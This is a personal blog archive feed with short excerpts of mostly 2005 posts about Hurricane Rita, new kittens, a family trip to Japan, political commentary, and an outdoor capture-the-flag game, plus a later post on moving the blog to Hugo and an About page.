I very briefly talked to mom today and she said her mom (Penny) went back to her home today and things seem normal enough. She was driving so I didn’t get a full report, but judging by tone-of-voice, everything sounds fine. More information when I have it (and remember to post).

Rita Update & Anit-War Protest Story

Sat, 24 Sep 2005 16:02:20 +0000

Rita Update: Rita, as a Category 3 hurricane (120 mph) made landfall at 2:30 a.m. CDT today in extreme southwest Louisiana between Sabine Pass and Johnson’s Bayou, La. Port Arthur, Texas, clocked maximum wind gusts of 116 mph, while Beaumont, Texas, measured 105 mph. Cameron, La., reported a gust to 112 mph before the anemometer failed. Storm surge flooding of up to 15 feet probably occured just east of where the eye thundered ashore.

Rita – hurricane in Houston

Thu, 22 Sep 2005 21:33:57 +0000

An Email to/from Cathy (my mom) who lives in Houston, in response to the coming hurricane everyone is freaking out about (because of the recent Katrina problems in New Orleans). From Alan dear houston clan: After calling mom 6+ times, and never getting through, anita suggested I email her… and due to the subject matter, I decided to email all of you. come to columbus if you want to escape the hurricane.

Creationists on the move, apparently

Thu, 22 Sep 2005 02:37:20 +0000

Challenged by Creationists, Museums Answer Back (sorry, the link requires login) Apparently, after a few rather agressive (not phiscally) confrontations with creationists, in science museums – docents and volunteers are flocking to training on how to best respond to such challenges. “The goal is to understand the controversies, so that people are better able to handle them as they come up,” she said. “Museums, as a field, have recognized we need to take a more proactive role in evolution education.

Clinton speaks out against Bush

Mon, 19 Sep 2005 02:31:09 +0000

Clinton launches withering attack on Bush on Iraq, Katrina, budget Breaking with tradition under which US presidents mute criticisms of their successors, Clinton said the Bush administration had decided to invade Iraq “virtually alone and before UN inspections were completed, with no real urgency, no evidence that there were weapons of mass destruction.” … “What Americans need to understand is that … every single day of the year, our government goes into the market and borrows money from other countries to finance Iraq, Afghanistan, Katrina, and our tax cuts,” he said.

Legal rights? What legal rights?

Mon, 12 Sep 2005 14:33:53 +0000

September 9th, it was ruled that Jose Padilla was still not to be given fair trial, in fact not to be charged with a crime nor to be given legal council. It’s the first time this has ever happened in the US court system (to my knowledge)… Even actual “enemy combatants” in our previous wars, captured on the battlefield all got lawyers and full legal procedings. Our courts were used, to verify and justify and validate.

Post Labor Day & and an interesting story

Tue, 06 Sep 2005 15:52:22 +0000

Saturday Anita had to work, but Phil, Sarah, Jess, and Phil’s friend Tom came over and played Mao [1]2. It’s a great game – and surprisingly effective at bringing about a represive dictatorial feel in the players (who thought that could be so much fun?). We played a variant where after winning 3 rounds you could make up your own rule… my personal favorite was (my rule): you have to use rapper hands whenever you call penalty on someone.

katrina disaster = really sad | space elevator = good

Fri, 02 Sep 2005 00:45:38 +0000

Katrina It’s a huge disaster. Everyone is probably aware of that. To put it in perspective, it’s [Katrina It’s a huge disaster. Everyone is probably aware of that. To put it in perspective, it’s]2 many other natural and un-natural disasters other countries or even this country has had to deal with (or cause)… but it’s still really bad. [the worst hurricanes] So, we use this as an opportunity to blame other people and talk about who should have done what and why we weren’t prepaired and aren’t handling the situation well now [link].

New photos up – kittens and more

Wed, 31 Aug 2005 22:29:04 +0000

Many new photos of our kittens are now avaialble, including a really cute one of Jess and Io (on the right). Below are some of my favorites: Thebe’s bath Thebe in a cup Thebe and Io in bowls There are also a few new photos of Nova and some of my Dad’s kittens we brought him, but they will have to be featured in a different posting. Now playing: [Al Frankin][8] – [Lies and the Lying Liars who Tell Them][9]

the web allows much time to be wasted, well

Tue, 30 Aug 2005 07:52:22 +0000

TimeWaster 6000 – The Artsechro Mixer (funded by Red Bull, built by terralever and in part by Chris “ubergeek.tv” Hill) Create your own “Concerto for Turntable” – Fuse classical and turntable music with the Red Bull Artsehcro Mixer. Here you can create your own songs by mixing various turntable loops and Artsehcro instruments. Once you create a song you can submit it to be rated by your peers and send it to friends.

CTF was fun and Google is still the hotness

Wed, 24 Aug 2005 16:09:24 +0000

So – Capture the Flag was a lot of fun. We played at the Park of Roses on August 21 2005 (after sundown). We had 9 people show and had a great time, though we were out classed severely by some “in shape” players. I’m hoping to end up with more people in a bigger area for the next game on September 9th (friday) at an unknown location. Google is incredible.

Vat Grown Stem Cells

Wed, 24 Aug 2005 00:52:59 +0000

Recent News: Skin Cells Converted to Stem Cells which means we have “starter cells” for transplants and the like and don’t have to worry about the moral issues raised from using the tissues of aborted fetuses (feti?). [Bush’s statement on this] I’ve heard of this before, though… In fact, in a previous article from the Washing Post. My question really is, what is the quantity we are talking about? If we could produce enough stem cells to generate real tissues, doesn’t that kinda sound like vat grown replacement parts….

IE is horrible, use firefox

Sat, 20 Aug 2005 20:14:12 +0000

IE is horrible, use firefox or Mozilla… or just go to Linux and use the big K. Yet again… nasty trojans auto-install through IE Security Shortcommings get firefox

Kitten Update

Fri, 19 Aug 2005 04:24:52 +0000

I took the kittens to the vet yesterday. It turns out they’re only 6 weeks old and they are both males. We have also decided on names for them. The black one is henceforth Thebe, and the white and orange one is Io. These are the names of 2 of Jupiter’s moons, so we were able to stick with the science theme afterall!

Kitten Update

Fri, 19 Aug 2005 04:24:31 +0000

kittens arrive

Wed, 17 Aug 2005 02:06:09 +0000

We have kittens. That’s right, it’s cute-fest-2005 in our apartment right now. We got a pair of 8 6 week old kittens on Sunday from Anita’s co-worker who got them dumped on her by her mom. They are a brother (black) and sister (white & orange) and have very quickly bonded with Anita and I… they are ok with Nova, but she’s not yet ok with them. Nova actually submitted to them, belly up and looking away; our guard dog proving her grit once again.

April is ok after the 7.2 magnitude earthquake

Tue, 16 Aug 2005 08:18:35 +0000

From an email from April: _However, I did want to let everyone know that I am safe and perfectly whole after this morning’s earthquake. For those of you who have no idea what I’m talking about, a 7.2 magnitude earthquake hit Japan at 11:46 this morning and I was a mere 60 some-odd kilometers south of its center of its origin. It’s on the front page of BBC, CNN, MSN-NBC, etc.

Nothing too intersting

Tue, 09 Aug 2005 06:16:10 +0000

I don’t have anything interesting going on right now, so here’s some of the stuff going on in the world today (that I was interested in): techie stuff Google snubs tech news outlet CNET – Google CEO got “googled” and is upset about the demonstration of people’s complain at all the personal information readily available… It’s just that the info is so easy to get at… (personally, that doesn’t bother me – information is simply information, not all of it is true but whatever is, should be available… in my ideal world there would be no need to worry about privacy concerns… too bad we’re not there yet.

japan backlog finished / Ryka’s bithday

Fri, 05 Aug 2005 15:45:15 +0000

Well, I’m finally done with updating the backlogged Japan blog entries. It was something I kept putting off, but I’m real glad I did it – the posts are kinda long, but it’s as much for my memory of the trip as anyone else’s (sorry). I’m impressed that within 45 minutes of uploading the lastest batch of photos, some of them have been looked at 4 times already… I know I’m just getting lucky, but it still nice to know someone is looking.

there’s no place like…

Wed, 27 Jul 2005 02:21:53 +0000

Anita and I were planning on staying up all Monday night and going to the Tokyo Fish Market at 5 am on Tuesday, but around 3am we crashed. Anita got up at 4:30 and fully intended to get me up, but she saw that a sub-tropical-storm was headed at Tokyo and that it was already raining pretty hard… There’s something about being dog tired and lost in a city that is much worse sounding if you add in the attribute – rain soaked.

the train is slowing down

Tue, 26 Jul 2005 02:19:09 +0000

After the late night before, we all slept in… Anita and I slept in so much we missed our hotel’s breakfast. We found a snack and took the subway to the Tokyo Aquarium. It was totally disappointing. The animals had very small enclosures, particularly bothersome were the mammals. There were many dead or dirty exhibits and not too much to read in English… We left after (something like) an hour and a half and roamed the “Sunshine 60” shopping complex (basically a big mall like the galleria in Houston without the ice skating rink).

Party in Tokyo (Day 1)

Mon, 25 Jul 2005 01:50:28 +0000

Another morning of repacking, a walk to the station, and a train ride to Tokyo (~3 hours)… most people napped (I read). We got out at Tokyo and took a subway to the hotel, dropped off our packs, and walked around to find food. Ironically, our hotel was right next to Akihabara, the Electronic Market in Tokyo, and it was Sunday, a day so busy the street is shut down to vehicles and the area is swarmed with geeks of all varieties and the people that feed on/off them.

Kyoto day 2

Sun, 24 Jul 2005 02:53:49 +0000

On our second full day in Kyoto we ate the last of the Fruit and some of the granola bars for breakfast; then we hopped on the #100 bus for the east side of Kyoto to see Ginkakuji-michi (the Silver Temple). The Silver Temple was much better than the Golden Temple because it was less overrun with tourists and also because the surrounding gardens were amazing. The cultivation of moss is, itself, remarkable, but to see the whole garden come together is quite impressive.

Kyoto day 1

Sat, 23 Jul 2005 02:55:54 +0000

We got an early start, showered, dressed, and set out for the train station to buy bus passes before 8:00 am. 2,000 Yen for a 2 day all bus all subway pass is a good deal… also because it means you don’t have to pay attention to which company bus or subway you want to use, because in the city of Kyoto there are at least 3-4 different companies for public transit and most other passes don’t cover them all.

Fukushima to Kyoto (relaxing day)

Fri, 22 Jul 2005 02:55:59 +0000

We finished packing for a couple of hours and then took way too much stuff down to the Koori-Machi train station. We caught the 15 minute train to Fukushima and stuffed our packs into lockers at the train station there. (Except my pack, which wouldn’t fit in any of the lockers) We then went to the 100 Yen store – the Japanese equivalent of the $1.00 store, but much, much cooler.

Koori-Machi, layers of folded beauty

Wed, 20 Jul 2005 23:26:32 +0000

Wednesday, we went to the elementary school April visits a few times a week. We did a brief tour of the classes and had an audience with the principal and vice-principal. The school seemed wonderful, but we didn’t have as much time to spend there as we did in Jo-Chu. We had to rush through the school, stop for a quick Ramen lunch, and be back at April’s apartment in time for Karen to receive a several wonderful gifts from some of April’s students who were in Elizabethtown last year.

Kill them with kindness

Tue, 19 Jul 2005 15:06:59 +0000

Tuesday 19 July 2005, we dressed in our nice clothes, carried our own house slippers so we didn’t have to use visitor slippers, and walked to Jo-Ho Chugakko Junior High School, known as Jo-Chu. Arriving at school a few minutes early (which was really on time) we met with the principal (Coach O’Sensei). Immediately we were amazed with how generous he was… treating us like honored guests would be putting it mildly.

Many Mountains, One Castle

Mon, 18 Jul 2005 13:04:06 +0000

This morning we ate fruit, cereal, and granola before setting out for Mount Azuma. We took the Aizu Bandi Skyline (highway) for some beautiful but quite frightening driving in the mountains. A couple hours of hair-pin turns and sulfur smelling air later, we ended up at Mount Azuma. It’s a large (dormant?) volcano crater in the midst of a gorgeous mountain range. We walked around the crater, against some very serious winds.

Nikko is Nippon

Sun, 17 Jul 2005 23:38:22 +0000

Saturday we took a local train to Fukushima and ate lunch at our first Japanese restaurant… it was spectacular! It was a friend of a friend’s dad’s restaurant and we ended up being there 20 minutes before they opened, but they let us in and sat us by the window looking out onto their wonderful and very small garden. We had pork medallions and miso and cabbage salads and rice – I had a curry dish.

Haved arrived in Japan

Sat, 16 Jul 2005 00:07:12 +0000

24 hours, is a long time to travel. We flew to Chicago from Louisville, but got delayed on the runway in Louisville; so we had to run in Chicago to make it to our connecting flight to Tokyo… we made it though, and started our ~11.5 hour flight. The plane ride was fine, in that really long and tiring kinda way. We were good and stayed awake (mostly) in order to sync our sleep cycle with Japan which is almost exactly the opposite of our timezone.

Anita has hair / I have pictures

Wed, 13 Jul 2005 22:01:56 +0000

Anita’s hair is finally long enough to put into psuedo-pig-tails! glory glory… [Anita’s hair is finally long enough to put into psuedo-pig-tails! glory glory… ]1 Also, while you are looking at that photo, look around the friends 2005 photos – there are finally a few other pictures besides documentation of my various hair styles…

japan trip – T minus 34 hours

Wed, 13 Jul 2005 03:12:19 +0000

All of the “final” preperations for the trip to Japan are (almost) complete. We are packed and will be going to Louisville on Wednesday night… then flying to japan Thursday morning – flying until sometime friday (Japan time) and the train’ing to April’s town… arriving sometime Friday night…. We are not looking forward to the travel time, but super excited about going. We have packed a hiking backpack apiece and books and music…

2005 07 12

Wed, 13 Jul 2005 02:10:16 +0000

First Post on WordPress

Wed, 13 Jul 2005 02:09:55 +0000

I have implemented a blogging system on my site (utilizing WordPress) and modified the display of my wiki to play well with the blog… The basics of the change are making the content fixed width, and moving the “article, discussion, edit, history, etc” tabs to a sidebar component on the wiki… then coming up with a shared header… I still need to get the old blog entries into this system (very do-able), and I am thinking a homepage not in the wiki, is appropriate… either that or i should get rid of the “home” link in the header… hurumph – i think i’m going to remove the “home” link in the header now (since it’s the same as the wiki link for now).

Education Reform and Our Collective Futures

Thu, 01 Jan 1970 00:00:00 +0000

2017 05 39 Why Wait To Adopt Hugo

Mon, 01 Jan 0001 00:00:00 +0000

+++ author = “alan” tags = [“nerd”, “wordpress”, “hugo”, “static site”, “go”] date = “2017-05-29T23:39:00-04:00” description = “Static Site Generation with Hugo - it is so freakin easy!” featured = "" featuredalt = "" featuredpath = "" linktitle = "" title = “Why wait? Adopt hugo for Static Site Generation” +++ Why… oh why… why did I wait so long? I’ve been talking about switching to a static site generator for years, since jekyllrb started gaining popularity.

About

Mon, 01 Jan 0001 00:00:00 +0000

About Alan Blount I’m an AI/ML Engineer at Google in Boulder, Colorado, working on cutting-edge generative AI systems and agent memory architectures. I’ve been at Google for several years, focusing on building the infrastructure and tools that power the next generation of intelligent systems. Current Work at Google At Google, I’m deeply involved in: Generative AI Systems: Building and deploying large-scale AI applications Agent Memory Architectures: Designing memory systems that help AI agents remember and learn Memory Bank Platforms: Contributing to Gemini Enterprise Agent Platform Memory Bank deployment Production AI Infrastructure: Scaling AI systems to handle millions of users Open Source & Community I believe in giving back to the developer community through open source contributions:

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Mon, 01 Jan 0001 00:00:00 +0000

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